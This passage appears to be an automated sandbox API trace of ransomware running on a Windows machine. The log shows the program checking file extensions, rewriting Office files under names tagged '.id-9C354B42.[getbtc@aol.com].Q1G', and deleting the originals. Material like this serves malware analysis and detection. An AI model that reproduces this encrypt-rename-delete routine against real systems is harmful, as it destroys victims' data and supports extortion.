(lpString1=".doc", lpString2=".HXS") returned -1 [0250.102] lstrlenW (lpString=".docx") returned 5 [0250.102] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0250.102] lstrlenW (lpString=".pdf") returned 4 [0250.102] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.102] lstrlenW (lpString=".xls") returned 4 [0250.102] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.102] lstrlenW (lpString=".xlsx") returned 5 [0250.102] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0250.102] lstrlenW (lpString=".ppt") returned 4 [0250.102] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.102] lstrlenW (lpString=".zip") returned 4 [0250.102] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.102] lstrlenW (lpString=".rar") returned 4 [0250.102] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.102] lstrlenW (lpString=".bz2") returned 4 [0250.103] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.103] lstrlenW (lpString=".7z") returned 3 [0250.103] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".dbf") returned 4 [0250.103] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".1cd") returned 4 [0250.103] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".jpg") returned 4 [0250.103] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".doc") returned 4 [0250.103] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0250.103] lstrlenW (lpString=".docx") returned 5 [0250.103] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0250.103] lstrlenW (lpString=".pdf") returned 4 [0250.103] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString=".xls") returned 4 [0250.103] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString=".xlsx") returned 5 [0250.103] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0250.103] lstrlenW (lpString=".ppt") returned 4 [0250.103] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".zip") returned 4 [0250.103] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString=".rar") returned 4 [0250.103] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0250.103] lstrlenW (lpString=".bz2") returned 4 [0250.103] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0250.103] lstrlenW (lpString=".7z") returned 3 [0250.103] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0250.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.103] lstrlenW (lpString=".dbf") returned 4 [0250.104] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0250.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.104] lstrlenW (lpString=".1cd") returned 4 [0250.104] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0250.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0250.104] lstrlenW (lpString=".jpg") returned 4 [0250.104] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0250.104] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0250.104] lstrlenW (lpString="MSOUC_COL.HXC") returned 13 [0250.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.536] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=621) returned 1 [0251.536] CloseHandle (hObject=0x3a0) returned 1 [0251.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 0x20 [0251.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.537] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.537] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.537] GetLastError () returned 0x0 [0251.537] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x26d, lpOverlapped=0x0) returned 1 [0251.564] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x270, lpOverlapped=0x0) returned 1 [0251.565] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.565] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0251.565] SetEndOfFile (hFile=0x3a8) returned 1 [0251.565] CloseHandle (hObject=0x3a8) returned 1 [0251.565] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.565] SetEndOfFile (hFile=0x3a0) returned 1 [0251.568] CloseHandle (hObject=0x3a0) returned 1 [0251.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc")) returned 1 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString=".doc") returned 4 [0251.569] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.569] lstrlenW (lpString=".docx") returned 5 [0251.569] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.569] lstrlenW (lpString=".pdf") returned 4 [0251.569] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.569] lstrlenW (lpString=".xls") returned 4 [0251.569] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.569] lstrlenW (lpString=".xlsx") returned 5 [0251.569] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.569] lstrlenW (lpString=".ppt") returned 4 [0251.569] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString=".zip") returned 4 [0251.569] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.569] lstrlenW (lpString=".rar") returned 4 [0251.569] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.569] lstrlenW (lpString=".bz2") returned 4 [0251.569] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.569] lstrlenW (lpString=".7z") returned 3 [0251.569] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString=".dbf") returned 4 [0251.569] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString=".1cd") returned 4 [0251.569] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.569] lstrlenW (lpString=".jpg") returned 4 [0251.569] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString=".doc") returned 4 [0251.570] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0251.570] lstrlenW (lpString=".docx") returned 5 [0251.570] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0251.570] lstrlenW (lpString=".pdf") returned 4 [0251.570] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString=".xls") returned 4 [0251.570] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString=".xlsx") returned 5 [0251.570] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0251.570] lstrlenW (lpString=".ppt") returned 4 [0251.570] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString=".zip") returned 4 [0251.570] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString=".rar") returned 4 [0251.570] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0251.570] lstrlenW (lpString=".bz2") returned 4 [0251.570] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0251.570] lstrlenW (lpString=".7z") returned 3 [0251.570] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString=".dbf") returned 4 [0251.570] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString=".1cd") returned 4 [0251.570] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0251.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC") returned 61 [0251.570] lstrlenW (lpString=".jpg") returned 4 [0251.570] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0251.571] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0251.571] lstrlenW (lpString="OIS.HXS") returned 7 [0251.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.576] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=457988) returned 1 [0251.576] CloseHandle (hObject=0x3b0) returned 1 [0251.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 0x20 [0251.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.579] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.580] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.580] GetLastError () returned 0x0 [0251.580] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x6fd04, lpOverlapped=0x0) returned 1 [0251.596] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x6fd10, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x6fd10, lpOverlapped=0x0) returned 1 [0251.604] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.604] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0251.604] SetEndOfFile (hFile=0x3a8) returned 1 [0251.604] CloseHandle (hObject=0x3a8) returned 1 [0251.604] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.604] SetEndOfFile (hFile=0x3a0) returned 1 [0251.613] CloseHandle (hObject=0x3a0) returned 1 [0251.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 1 [0251.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.614] lstrlenW (lpString=".doc") returned 4 [0251.614] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.614] lstrlenW (lpString=".docx") returned 5 [0251.614] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0251.614] lstrlenW (lpString=".pdf") returned 4 [0251.614] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.614] lstrlenW (lpString=".xls") returned 4 [0251.614] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.614] lstrlenW (lpString=".xlsx") returned 5 [0251.614] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0251.615] lstrlenW (lpString=".ppt") returned 4 [0251.615] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString=".zip") returned 4 [0251.615] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString=".rar") returned 4 [0251.615] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString=".bz2") returned 4 [0251.615] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.615] lstrlenW (lpString=".7z") returned 3 [0251.615] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString=".dbf") returned 4 [0251.615] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString=".1cd") returned 4 [0251.615] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString=".jpg") returned 4 [0251.615] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.615] lstrlenW (lpString=".doc") returned 4 [0251.615] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.615] lstrlenW (lpString=".docx") returned 5 [0251.615] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0251.615] lstrlenW (lpString=".pdf") returned 4 [0251.615] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString=".xls") returned 4 [0251.615] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.615] lstrlenW (lpString=".xlsx") returned 5 [0251.615] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0251.615] lstrlenW (lpString=".ppt") returned 4 [0251.615] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.616] lstrlenW (lpString=".zip") returned 4 [0251.616] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.616] lstrlenW (lpString=".rar") returned 4 [0251.616] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.616] lstrlenW (lpString=".bz2") returned 4 [0251.616] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.616] lstrlenW (lpString=".7z") returned 3 [0251.616] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.616] lstrlenW (lpString=".dbf") returned 4 [0251.616] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.616] lstrlenW (lpString=".1cd") returned 4 [0251.616] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0251.616] lstrlenW (lpString=".jpg") returned 4 [0251.616] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.616] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0251.616] lstrlenW (lpString="OISINTL.DLL") returned 11 [0251.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.762] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=129432) returned 1 [0251.762] CloseHandle (hObject=0x398) returned 1 [0251.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll")) returned 0x20 [0251.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".doc") returned 4 [0251.872] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString=".docx") returned 5 [0251.872] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0251.872] lstrlenW (lpString=".pdf") returned 4 [0251.872] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString=".xls") returned 4 [0251.872] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString=".xlsx") returned 5 [0251.872] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0251.872] lstrlenW (lpString=".ppt") returned 4 [0251.872] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".zip") returned 4 [0251.872] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString=".rar") returned 4 [0251.872] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString=".bz2") returned 4 [0251.872] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0251.872] lstrlenW (lpString=".7z") returned 3 [0251.872] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".dbf") returned 4 [0251.872] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".1cd") returned 4 [0251.872] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".jpg") returned 4 [0251.872] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.872] lstrlenW (lpString=".doc") returned 4 [0251.873] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString=".docx") returned 5 [0251.873] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0251.873] lstrlenW (lpString=".pdf") returned 4 [0251.873] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString=".xls") returned 4 [0251.873] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString=".xlsx") returned 5 [0251.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0251.873] lstrlenW (lpString=".ppt") returned 4 [0251.873] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.873] lstrlenW (lpString=".zip") returned 4 [0251.873] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString=".rar") returned 4 [0251.873] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0251.873] lstrlenW (lpString=".bz2") returned 4 [0251.873] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0251.873] lstrlenW (lpString=".7z") returned 3 [0251.873] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0251.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.873] lstrlenW (lpString=".dbf") returned 4 [0251.873] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0251.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.873] lstrlenW (lpString=".1cd") returned 4 [0251.873] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0251.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL") returned 59 [0251.873] lstrlenW (lpString=".jpg") returned 4 [0251.873] lstrcmpiW 